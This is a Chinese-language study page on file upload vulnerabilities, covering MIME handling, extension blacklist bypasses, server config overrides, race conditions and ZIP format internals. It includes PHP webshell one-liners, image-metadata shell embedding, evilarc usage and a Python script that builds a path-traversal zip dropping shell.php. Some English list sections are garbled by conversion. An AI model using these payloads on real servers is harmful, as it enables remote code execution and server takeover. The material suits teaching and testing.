跳转至

文件上传漏洞

文件上传漏洞是指 Web 服务器允许用户将其文件上传到系统文件目录时,如果没有充分验证这些文件的名称、类型、内容或大小等信息。如果未能有效实施相应的限制措施,那么简单的图像上传功能也可能被利用来上传任意类型且可能具有危险性的文件。甚至有可能出现利用这些漏洞执行远程代码的情况。

在某些情况下,仅仅是上传文件这一行为本身就已经足以造成破坏。另一些攻击则涉及对文件的后续 HTTP 请求,通常目的是触发服务器执行该文件。

MIME 描述
text/html HTML格式
application/json JSON格式数据
multipart/form-data 文件上传常用(二进制数据)
image/jpeg jpg图片格式

文件上传漏洞会造成什么影响

文件上传漏洞的影响通常取决于两个关键因素:

  • 该文件在哪些方面未能得到正确的验证,比如文件的大小、类型、内容等
  • 当文件成功上传后,会施加哪些限制呢?

在最糟糕的情况下,文件的类型可能无法得到正确的验证,而服务器配置又允许某些类型的文件(如 .php 和 .jsp )作为代码执行。在这种情况下,攻击者就可以上传一个服务器端代码文件,从而成为该服务器的有效控制者,对服务器拥有完全的控制权。

如果文件名没有经过正确的验证,那么攻击者就可以通过上传同名文件来覆盖重要的文件。此外,如果服务器还存在目录遍历漏洞,那么攻击者甚至可以将文件上传到不预期的位置。

如果无法确保文件的尺寸符合预期的阈值要求,那么就有可能引发一种服务拒绝攻击(DoS attack)。在这种攻击中,攻击者会占用所有的可用磁盘空间。

Web服务器如何处理对静态资源的请求

历史上,网站几乎完全由静态文件组成,这些文件在用户请求时会被服务端提供。因此,每个请求的路径都与服务器文件系统中的目录和文件的层次结构一一对应。如今,网站越来越具有动态性,请求的路径往往与文件系统没有直接关系。不过,Web 服务器仍然需要处理一些静态文件的请求,比如样式表、图片等。

处理这些静态文件的过程基本上还是一样的。在某个阶段,服务器会解析请求中的路径,以确定文件的扩展名。然后,服务器会根据这个扩展名来判定所请求文件的类型,通常是通过将其与预先配置好的扩展名与 MIME 类型之间的映射列表进行比对来实现这一目的。接下来发生什么则取决于文件的类型以及服务器的配置。

  • 如果这种文件类型是不可执行文件,比如图片或静态 HTML 页面,那么服务器可以直接通过 HTTP 响应将文件的内容发送给客户端。
  • 如果文件类型是可执行的文件,比如一个 PHP 文件,且服务器配置为能够执行这种类型的文件,那么系统在运行脚本之前会根据 HTTP 请求中的头部信息和参数来分配变量。最终的输出结果会被作为 HTTP 响应发送回客户端。
  • 如果文件类型是可执行的,但服务器并未配置为能够执行此类文件,那么通常会导致错误响应。不过,在某些情况下,该文件的内容仍可能被作为纯文本传递给客户端。这种配置错误有时可能会被利用来泄露源代码和其他敏感信息。

Tip

Content-Type 响应头可能包含了关于服务器认为已服务的文件类型的信息。如果这一头没有由应用程序代码明确设置,那么它通常包含了文件扩展名/MIME 类型映射的结果。

文件上传中的错误验证

文件类型验证存在缺陷

在提交 HTML 表单时,浏览器通常会以 POST 请求的方式发送所提供的数据,而内容类型则设置为 application/x-www-form-urlencoded 。这对于发送简单的文本信息,比如姓名或地址来说是完全可行的。不过,这种方式并不适合发送大量二进制数据,例如整个图像文件或 PDF 文档。在这种情况下,建议使用内容类型 multipart/form-data 。

想象一个包含以下字段的表单:用于上传图片、提供图片描述以及输入用户名。提交这样的表单后,可能会收到类似以下的请求:

Text Only
POST /images HTTP/1.1
    Host: normal-website.com
    Content-Length: 12345
    Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="image"; filename="example.jpg"
    Content-Type: image/jpeg

    [...binary content of example.jpg...]

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="description"

    This is an interesting description of my image.

    ---------------------------012345678901234567890123456
    Content-Disposition: form-data; name="username"

    wiener
    ---------------------------012345678901234567890123456--

如您所见,消息体被拆分成多个部分,分别对应表单的各个输入项。每个部分都包含一个 Content-Disposition 头部信息,该信息提供了关于相关输入字段的基本信息。这些独立的部分还可能包含自己的 Content-Type 头部信息,该信息用于告知服务器通过此输入项提交的数据的 MIME 类型。

网站可能会通过多种方式来验证文件上传的合法性,例如检查与特定输入相关的 Content-Type 头部信息是否匹配预期的多媒体类型。例如,如果服务器只期望接收图像文件,那么它可能只允许 image/jpeg 和 image/png 这样的文件类型。然而,当服务器默认信任该头部信息时,就会出现问题。如果缺乏进一步的验证来确保文件内容确实与预期的多媒体类型匹配,那么攻击者就可以利用像 Burp Repeater 这样的工具轻松绕过这一防御机制。

限制上传文件目录的可执行权限

作为预防措施,服务器通常只执行那些被明确配置为可以执行的 MIME 类型的脚本。否则,它们可能会返回某种错误消息,或者在某些情况下,直接以纯文本形式返回文件内容。

PHP
GET /static/exploit.php?command=id HTTP/1.1
    Host: normal-website.com


    HTTP/1.1 200 OK
    Content-Type: text/plain
    Content-Length: 39

    <?php echo system($_GET['command']); ?>

这种行为本身就很有趣,因为它提供了一种泄露源代码的方式。但它会让SHELL等无法执行,从而限制危害大小。

这种配置方式通常在不同的目录之间会有所不同。那些用于存放用户提供的文件的目录,通常会受到更严格的管控;而文件系统上其他被认为属于终端用户无法访问的区域则不会如此。如果你能找到一种方法,将脚本上传到另一个不应该包含用户提供文件的目录中,那么服务器就有可能执行你的脚本了。

Tip

在发送 multipart/form-data 请求时,Web 服务器通常会使用 filename 字段来确定文件的保存名称和位置。

对危险文件的黑名单限制不够严格

防止用户上传恶意脚本的一种明显方法是将那些可能具有危险性的文件扩展名列入黑名单。不过,这种黑名单的方法存在缺陷,因为要阻止所有可能用于执行代码的文件扩展名是非常困难的。有时候,可以通过使用一些不太常见的、但仍可能被执行的文件扩展名来绕过这些黑名单,比如 .php5 、 .shtml 等。

覆盖服务器配置

正如我们在前一节中讨论的那样,通常情况下,服务器不会执行文件,除非进行了相应的配置。例如,在 Apache 服务器执行客户端请求的 PHP 文件之前,开发人员可能需要在其 /etc/apache2/apache2.conf 文件中添加以下指令。

Text Only
LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php

许多服务器还允许开发者在各个目录中创建特殊的配置文件,以便覆盖或添加一些全局设置。例如,Apache 服务器会在存在名为 .htaccess 的文件中加载特定目录的配置信息。

同样,开发人员可以通过使用 web.config 文件来在 IIS 服务器上实现针对特定目录的配置。这些配置可能包括如下指令,这样就能让 JSON 文件能够被用户访问了:

XML
<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
    </staticContent>

当存在这类配置文件时,Web 服务器会使用它们。不过,通常是不允许通过 HTTP 请求访问这些文件的。然而,有时会遇到一些服务器无法阻止用户上传自己的恶意配置文件的情况。在这种情况下,即使所需的文件扩展名在黑名单中,也可以设法让服务器将某个任意的自定义文件扩展名映射到可执行文件类型上。

Note

Apache中的.htaccess覆盖有两个前提条件

  1. Apache 主配置中,该目录的 AllowOverride 指令不能为 None(通常默认为 All 或 FileInfo)
  2. 服务器必须加载了对应的处理模块(如 mod_php、mod_cgi)

IIS中的web.config也可以配置文件解析,如下:

XML
<!-- web.config 内容 -->
<configuration>
   <system.webServer>
       <handlers>
           <!-- 将 .txt 文件映射给 PHP 处理程序 -->
           <add name="PHP-Via-FastCGI" path="*.txt" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" resourceType="File" />

           <!-- 将 .jpg 映射给 ASP.NET 处理程序 -->
           <add name="ASP-Via-JPG" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_isapi.dll" resourceType="File" />
       </handlers>
   </system.webServer>
</configuration>

IIS 会拦截所有 .txt 或 .jpg 的请求,并将其传递给指定的脚本引擎(如 PHP-CGI 或 ASP.NET ISAPI)执行

但前提条件为指定的 scriptProcessor 路径在服务器上必须真实存在

PHP环境中的.user.ini虽然不能配置文件解析,但可以控制文件执行顺序,如下:

Text Only
# 利用 auto_prepend_file / auto_append_file
; .user.ini 内容
auto_prepend_file=shell.jpg

该目录下的**所有正常 PHP 文件**(如 index.php)在执行时,PHP 引擎会自动在头部包含 shell.jpg 的内容。只要 shell.jpg 里写了 PHP 代码,访问 index.php 就会触发恶意代码执行

当然也存在前提条件:

  1. PHP 必须以 CGI / FastCGI 模式运行(如 Nginx + PHP-FPM 架构)。如果是 Apache + mod_php 模式则无效
  2. 目标目录下必须存在至少一个可执行的 .php 文件作为“跳板”
  3. php.ini 中未禁用 user_ini.filename

利用模糊扩展名

即使是最严格的黑名单也可能会被利用经典的混淆技术绕过。假设验证代码对大小写敏感,无法识别出 exploit.pHp 实际上是一个 .php 文件。如果后续将文件扩展名映射到 MIME 类型的代码不区分大小写,那么这种差异就使得恶意 PHP 文件能够绕过验证,最终被服务器执行。

  • 提供多种扩展名。根据解析文件名的算法,该文件可能被解释为 PHP 文件或 JPG 图片: exploit.php.jpg
  • 添加尾随字符。一些组件会删除或忽略尾部的空白字符、点等符号: exploit.php.
  • 建议使用 URL 编码(或对点、反斜杠进行双重编码)来处理包含点、反斜杠的 URL。这样,在验证文件扩展名时,该值可能不会被解码;而到了服务器端再解码时,就可以上传一些恶意文件了——而这些恶意文件在未经编码的情况下是会被阻止的: exploit%2Ephp
  • 在文件扩展名之前添加分号,或者使用 URL 编码的空字节字符。如果验证代码是用 PHP 或 Java 这样的高级语言编写的,而服务器却使用 C/C++中的低级函数来处理文件,那么就会导致对文件名终止点的判断出现差异: exploit.asp;.jpg 或 exploit.asp%00.jpg
  • 尝试使用多字节 Unicode 字符,因为在 Unicode 转换或标准化过程中,这些字符可能会被转换为空字节或点符号。例如,像 xC0 x2E 、 xC4 xAE 或 xC0 xAE 这样的序列,在作为 UTF-8 字符串解析后,可以被转换为 x2E ,但在用于路径时则需要再转换为 ASCII 字符。

其他防御措施包括移除或替换那些危险的扩展名,以防止文件被执行。如果这种转换不是递归进行的,那么可以将被禁止的字符串放置在一个位置,使得即使移除它后,文件扩展名仍然有效。例如,考虑一下如果从以下文件名中去除 .php 会是什么情况:

Text Only
exploit.p.phphp

对文件内容的验证存在缺陷

与直接信任请求中指定的 Content-Type 内容不同,更安全的服务器会尝试验证文件的内容是否与预期相符。

在上传图片的情况下,服务器可能会尝试验证图片的一些基本属性,比如尺寸。例如,如果你尝试上传一个 PHP 脚本,由于它没有任何尺寸信息,那么服务器就会判断这不是一张图片,并拒绝上传该文件。

同样,某些文件类型在其头部或尾部总是包含特定的字节序列。这些序列可以被视为一种“指纹”或“签名”,用来判断文件内容是否与预期的类型相匹配。例如,JPEG 文件的开头总是包含 FF D8 FF 这样的字节序列。

这是一种更为可靠的文件类型验证方法,但即便如此,也无法完全确保安全性。通过使用专门的工具,如 ExifTool,就可以很容易地创建一个包含恶意代码的多语言 JPEG 文件,而这些代码可以隐藏在元数据之中。

利用条件竞争上传文件

现代框架在应对这类攻击时更加坚固。它们通常不会直接将文件上传到文件系统的目标位置。相反,会采取一些预防措施,比如先将文件上传到一个临时的、隔离的目录中,并随机更改文件名,以避免覆盖现有的文件。之后,它们会对这个临时文件进行验证,只有确认安全后才会将其传输到目标位置。

不过,开发者有时会独立实现文件上传的处理逻辑,而不依赖于任何框架。虽然这样做可以很好地实现功能,但也可能引入危险的状态竞争问题,使得攻击者能够完全绕过最严格的验证机制。

例如,一些网站会将文件直接上传到服务器的主要文件系统中,如果文件未能通过验证,就会将其删除。这种行为在那些依赖反病毒软件来检测恶意软件的网站中很常见。这个过程可能只需要几毫秒,但在文件存在于服务器上的那短暂时间里,攻击者仍然有可能执行该文件中的恶意代码。

这些漏洞通常非常隐蔽,因此在黑盒测试过程中很难被发现,除非能够找到一种方法来泄露相关的源代码。

基于 URL 的文件上传在竞争环境下可能出现的问题

在那些允许通过提供 URL 来上传文件的函数中,也会发生类似的竞争条件。在这种情况下,服务器需要通过互联网获取文件,并在执行任何验证操作之前先创建一份本地副本。

由于文件是通过 HTTP 方式加载的,因此开发者无法使用其框架中内置的安全验证机制来对文件进行验证。相反,他们可能需要手动创建自己的流程来临时存储和验证文件,这种方式的安全性可能并不高。

例如,如果文件被存储在一个具有随机名称的临时目录下,那么理论上攻击者就无法利用这些竞争条件来进行攻击。因为如果攻击者不知道这个目录的名称,他们就无法请求该文件以触发其执行。不过,如果随机目录名称是通过像 PHP 的 uniqid() 这样的伪随机函数生成的,那么就有可能被暴力破解。

为了更容易实施此类攻击,你可以尝试延长处理文件所需的时间,从而延长 brute-force 攻击目录名称的尝试次数。其中一种方法就是上传一个更大的文件。如果文件被分块处理,那么你就可以利用这一点,创建一个包含恶意代码的文件,在文件开头加入大量任意的填充字节,然后再继续尝试攻击目录名称。

使用PUT方法进行文件上传

值得注意的是,一些网络服务器可能被配置为支持 PUT 类型的请求。如果缺乏相应的防护措施,那么这种方式就可以作为一种上传恶意文件的替代手段,即使网站界面中没有提供上传功能的情况下也是如此。

Text Only
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

Tip

可以尝试向不同的端点发送 OPTIONS 请求,以测试哪些端点支持 PUT 方法。

绕过示例

前端校验

浏览器关闭网页js或开发者工具去掉前端过滤代码即可

后端校验

本质:找没过滤的地方

黑名单

黑名单不全

列如禁止了php文件上传,但攻击者可以使用php2等代替php,绕过了检查

  • PHP: .php, .php2 , .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif,.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws
包括等价扩展名

当黑名单包括所有等价扩展名时(比较完善),我们只能从别的方面入手(解析漏洞、特性等)

htaccess文件

将php改为可以上传的扩展名,然后在同一路径下新创htaccess扩展名文件,里面附上一段代码

代码示例

代码意为将shell.jpg当作php解析即可绕过检查

大小写绕过

大写绕过,windows大小写不分(后端没有转化小写函数时)

Windows特性
  • 空格绕过

文件名后加空格绕过(需要抓包改)

可能失败(需要php低版本)

  • 加点绕过

文件名后加点绕过(需要抓包改)

在Windows中,文件名后空格和点会被省略,比如shell.php./shell.php → shell.php

  • ::$DATA

::$DATA是Windows系统中用于存储文件数据的特殊属性。它是一种隐藏的属性,用于存储文件的实际内容。在Windows文件系统中,每个文件都有一个文件属性列表,其中包含了文件的各种属性信息,如文件名、大小、创建日期等。::$DATA属性用于存储文件的实际数据。

当加上该标记时,windows将不会处理该文件的后缀,而是将该文件当作文件流(二进制数据)处理

文件流(本地文件系统) - Win32 apps | Microsoft Learn

对比两个源码,发现去除字符串部分不一样,故可从此处下手

Bash
filename: shell.php::$DATA

filter(filename) --> shell.php::$DATA --> check(filename) --> true --> save file --> shell.php
过滤不全面
  • 多重绕过

源码为先删除一个点,再删除一个空格,但还剩下一个点

Bash
filename: shell.php. .

filter(filename) --> shell.php. --> check(filename) --> true --> save file --> shell.php
  • 多重写扩展名绕过

只能替换一次,故只要再写一次就能绕过

Bash
filename: shell.pphphp

filter(filename) --> shell.php --> check --> true --> save file --> shell.php
上传路径可控

系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。C语言中的字符串类型最后一个字符串为0x00,表示字符串结束,如果这个0x00在字符串中间出现,那么该字符串会被截断

  • 文件名截断(url编码)

当上传路径出现在url中时,使用url编码截断

类似加个结束标记,后面的将被截断,url编码截断符为%00

原理为url中的保存路径和文件名之间会进行拼接,故需要在url的保存路径中加上截断符来进行截断

Bash
save_path: ../upload/shell.php%00
filename: shell.png

filter(filename) --> shell.png --> check(filename) --> true --> save file --> path = ../upload/shell.php%00shell.png --> path = ../upload/shell.php
  • 文件名截断(16进制)

图片马

将图片和木马结合,生成图片马,随后文件包含漏洞读取图片中的代码

Text Only
copy 微信图片_20221022225145.jpg /b + shell.php /a shell.jpg

因为是对头字节进行校验,故无法通过改后缀来绕过

绕过方式总结

Bypass file extensions checks

  1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...

  2. Check adding a valid extension before the execution extension (use previous extensions also):

  3. file.png.php

  4. file.png.Php5

  5. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)

  6. file.php%20

  7. file.php%0a
  8. file.php%00
  9. file.php%0d%0a
  10. file.php/
  11. *file.php.*
  12. file.
  13. file.php....
  14. file.pHp5....

  15. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.

  16. file.png.php

  17. file.png.pHp5
  18. file.php#.png
  19. file.php%00.png
  20. file.php\x00.png
  21. file.php%0a.png
  22. file.php%0d%0a.png
  23. file.phpJunk123png

  24. Add another layer of extensions to the previous check:

  25. file.png.jpg.php

  26. file.php%00.png%00.jpg

  27. Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension**.php, but** not necessarily ending in .php will execute code):

  28. ex: file.php.png

  29. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::\(data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::\)data.”)

  30. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA←SNIP→AAA.php

Text Only
# Linux maximum 255 
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png, text/plain , application/octet-stream

  • Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt

  • Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata: exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg \ or you could also introduce the payload directly in an image: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will

survive compression.

  • Github with the code

  • The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will

survive compression.

  • Github with the code

  • Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.

  • Github with the code

Other Tricks to check

  • Find a vulnerability to rename the file already uploaded (to change the extension).
  • Find a Local File Inclusion vulnerability to execute the backdoor.
  • Possible Information disclosure:
  • Upload several times (and at the same time) the same file with the same name
  • Upload a file with the name of a file or folder that already exists
  • Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
  • Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
  • Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
  • Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"
  • GIF:\x47\x49\x46\x38\x39\x61(GIF89a)
  • PDF:\x25\x50\x44\x46(%PDF)

Refer to File Signatures for other filetypes.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

一句话木马加不加引号?

键名为字符/字符串

PHP
eval($_POST[a]);

在常规情况下,$_POST 是一个包含通过 HTTP POST 方法发送到当前脚本的变量的关联数组。在这种情况下,$_POST[a] 将被视为访问名为 "a" 的变量的值。通常来说,在 PHP 中访问数组元素时,键应该加引号,以避免出现语法错误。

但是,如果 PHP 的 "register_globals" 配置选项被启用,且用户在请求中传递的参数名和变量名是相同的(即没有加引号),PHP 将会将请求参数自动注册为全局变量。这种情况下,eval($_POST[a]) 将会执行用户通过 POST 请求传递的变量值作为代码。但是,请注意,在现代 PHP 版本中,"register_globals" 配置选项默认是禁用的,因为它可能导致安全问题和代码混乱。

键名为数字

PHP
eval($_POST[1]);

在 PHP 中,如果数组的键名是数字,可以选择在访问时是否加引号。如果键名是一个有效的整数,可以在访问时省略引号,例如$array[0]。这是因为在 PHP 中,整数会被自动转换为字符串来匹配数组的键。

然而,为了编码的一致性和代码的可读性,建议始终在访问数组元素时使用引号括住键名,即$array['0']。这样做可以避免一些潜在的问题,比如当键名是一个字符串的形式表示的数字(例如'123')时,省略引号可能会导致意外的结果。

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

Bash
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

The unexpected creation of files in directories during decompression is a significant issue. Despite initial assumptions that this setup might guard against OS-level command execution through malicious file uploads, the hierarchical compression support and directory traversal capabilities of the ZIP archive format can be exploited. This allows attackers to bypass restrictions and escape secure upload directories by manipulating the decompression functionality of the targeted application.

An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:

Python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Additionally, the symlink trick with evilarc is an option. If the objective is to target a file like /flag.txt, a symlink to that file should be created in your system. This ensures that evilarc does not encounter errors during its operation.

Below is an example of Python code used to create a malicious zip file:

Python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close()

create_zip()

关于部分解压成功压缩包的研究

压缩包格式

整体结构

简单归纳总结下,zip文件格式由文件数据区、中央目录结构,中央目录结束标志组成。其中中央目录结束节又有一个字段保存了中央目录

结构的偏移。整体结构如下图

分区描述

中央目录结束标志

中央目录结束标志一般位于文件的末尾。由于它也有字段指向了中央目录开始处的偏移, 所以把它放在最前面描述。它被用来标识中央

目录结束。可以通过读取它来找到中央目录并解析整个文件结构。该结构具体如下:

Text Only
struct EndLocator
{
    ui32 signature;   //目录结束标记,(固定值0x06054b50)
    ui16 elDiskNumber;  //当前磁盘编号
    ui16 elStartDiskNumber;  //中央目录开始位置的磁盘编号
    ui16 elEntriesOnDisk;  //该磁盘上所记录的核心目录数量
    ui16 elEntriesInDirectory;  //中央目录结构总数
    ui32 elDirectorySize;  //中央目录的大小
    ui32 elDirectoryOffset;  //中央目录开始位置相对于文件头的偏移
    ui16 elCommentLen;  // 注释长度
    char *elComment;  // 注释内容
};
中央目录结构

中央目录结构位于文件数据区后,它用来保存所有文件的路径信息,和对应文件数据结构区在文件中的偏移。该结构具体如下:

C
struct DirEntry
{
    ui32 signature;  // 中央目录文件header标识(0x02014b50)
    ui16 deVersionMadeBy;  // 压缩所用的pkware版本
    ui16 deVersionToExtract;  // 解压所需pkware的最低版本
    ui16 deFlags;  // 通用位标记
    ui16 deCompression;  // 压缩方法
    ui16 deFileTime;  // 文件最后修改时间
    ui16 deFileDate;  // 文件最后修改日期
    ui32 deCrc;  // CRC-32校验码
    ui32 deCompressedSize;  // 压缩后的大小
    ui32 deUncompressedSize;  // 未压缩的大小
    ui16 deFileNameLength;  // 文件名长度
    ui16 deExtraFieldLength;  // 扩展域长度
    ui16 deFileCommentLength; // 文件注释长度
    ui16 deDiskNumberStart;  // 文件开始位置的磁盘编号
    ui16 deInternalAttributes;  // 内部文件属性
    ui32 deExternalAttributes;  // 外部文件属性
    ui32 deHeaderOffset;  // 本地文件头的相对位移
    char *deFileName;  // 目录文件名
    char *deExtraField;  // 扩展域
    char *deFileComment; // 文件注释内容
};

中央目录结构区是由中央目录结构的数组组成,这个结构只有目录文件名,扩展域,文件注释内容长度是不定的,并且可以在这个结构中

获取它的长度,那么通过此就可以遍历出所有的文件。设当前中央目录结构偏移为current_offset,下个中央目录结构偏移为next_offset,则

计算公式为:

next_offset = current_offset + sizeof(DirEntry) - 3*sizeof(char*) + deFileNameLength + deExtraFieldLength + deFileCommentLength;

其中CRC32校验码为对应的文件压缩数据的CRC32的校验码,如对应文件的数据压缩数据的CRC32与这里的值不同,则数据损坏。

通过中央目录结构的deHeaderOffset字段可以直接获取到对应文件的文件数据区结构的文件偏移,就可以直接获取到对应文件的压缩数

据了。

文件数据区

文件数据区是保存所有压缩文件数据的区,它位于文件头,并由压缩数据结构的数组组成。其结构如下:

C
struct Record
{
    ui32 signature;  // 文件头标识,值固定(0x04034b50)
    ui16 frVersion;  // 解压文件所需 pkware最低版本
    ui16 frFlags;  // 通用比特标志位(置比特0位=加密)
    ui16 frCompression;  // 压缩方式
    ui16 frFileTime;  // 文件最后修改时间
    ui16 frFileDate;  //文件最后修改日期
    ui32 frCrc;  // CRC-32校验码
    ui32 frCompressedSize;  //  压缩后的大小
    ui32 frUncompressedSize;  // 未压缩的大小
    ui16 frFileNameLength;  //  文件名长度
    ui16 frExtraFieldLength;  // 扩展区长度
    char* frFileName;  // 文件名
    char* frExtraField;  // 扩展区
    char* frData; // 压缩数据
};

这里的压缩方式frCompression有如下取值:

Text Only
      0 - The file is stored (no compression)
      1 - The file is Shrunk
      2 - The file is Reduced with compression factor 1
      3 - The file is Reduced with compression factor 2
      4 - The file is Reduced with compression factor 3
      5 - The file is Reduced with compression factor 4
      6 - The file is Imploded
      7 - Reserved for Tokenizing compression algorithm
      8 - The file is Deflated
      9 - Enhanced Deflating using Deflate64(tm)
     10 - PKWARE Data Compression Library Imploding
     11 - Reserved by PKWARE
     12 - File is compressed using BZIP2 algorithm

通过中央目录结构就可以找到文件数据结构,通过文件数据结构获取到压缩数据结构,并通过此结构可以获取到压缩的数据和使用的算法,并可以根据此解压出对应的数据。

怎么制造一个只能解压一半的压缩包(即解压到一半出错的)?

这个问题其实需要看具体情况,看解压的那个程序的容忍程度。

这里就以两个解压的程序作为例子:

  1. Windows下的7zip
  2. PHP自带的ZipArchive库

先说7zip。7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。

如何修改压缩包里文件的CRC校验码呢?

可以使用010editor。我们先准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。

然后我们用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分

我们打开第4部分,其中有个deCrc,我们随便把值改成其他的值,然后保存

原图

此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件

原图

我们再用PHP自带的ZipArchive库(代码如图4)测试这个zip,发现解压并没有出错,这也说明ZipArchive的容忍度比较高。 那么我们又如何让ZipArchive出错呢?

原图

最简单的方法,我们可以在文件名上下功夫。 比如,Windows下不允许文件名中包含冒号(:),我们就可以在010editor中将2.txt的deFileName属性的值改成“2.tx:”

原图

